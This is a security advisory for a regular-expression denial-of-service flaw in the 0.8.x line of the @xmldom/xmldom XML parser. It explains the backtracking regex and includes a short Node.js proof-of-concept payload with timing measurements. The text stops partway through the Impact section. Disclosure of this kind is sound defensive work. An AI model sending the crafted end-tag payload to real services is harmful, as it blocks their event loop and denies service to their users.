CVE-2026-83619

## Summary On the `@xmldom/xmldom` **`0.8.x`** line, parsing an XML end tag whose name is followed by a long run of whitespace and then a non-whitespace character triggers quadratic-time regular-expression backtracking (ReDoS), so a single small crafted end tag stalls the Node.js event loop. It is reachable from `DOMParser.parseFromString` under **default options**, unauthenticated, before any validity check — an availability-only denial of service. The `0.9.x` line is **not** affected. ## Details `lib/sax.js` (release-0.8.x, commit `e5c1480`) trims trailing whitespace from a captured end-tag name with an unanchored global regex: - `lib/sax.js` line 120: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L120 ```js /[ \t\n\r]+$/g ``` Applied to a string shaped `whitespace-run + one non-whitespace char` (e.g. the content of an end tag `</ … x>`), the engine must, for every starting position, extend `[ws]+` to the end and then fail the `$` anchor when the trailing non-whitespace char is present — classic O(n²) backtracking in the length of the whitespace run. The trimmed substring is delimited only by `indexOf('>')`, so the attacker controls its length directly. ## Proof of Concept ```js const { DOMParser } = require('@xmldom/xmldom'); // 0.8.x const n = 64 * 1024; const payload = '<r></' + ' '.repeat(n) + 'x>'; console.time('parse'); new DOMParser().parseFromString(payload, 'text/xml'); console.timeEnd('parse'); ``` Measured (Node 18) — time quadruples per doubling of the whitespace run (canonical O(n²)): | Whitespace run | Isolated regex | End-to-end `parseFromString` (0.8.13) | |---|---|---| | 4 KB | 5.6 ms | 5.7 ms | | 8 KB | 22.7 ms | 22.5 ms | | 16 KB | 88.6 ms | 92 ms | | 32 KB | 354 ms | 361 ms | | 64 KB | 1434 ms | 1452 ms | | 128 KB | 5761 ms | — | ## Impact Availability only: a single parse of a small crafted document blocks the Node.js event loop for the duration of the quadrat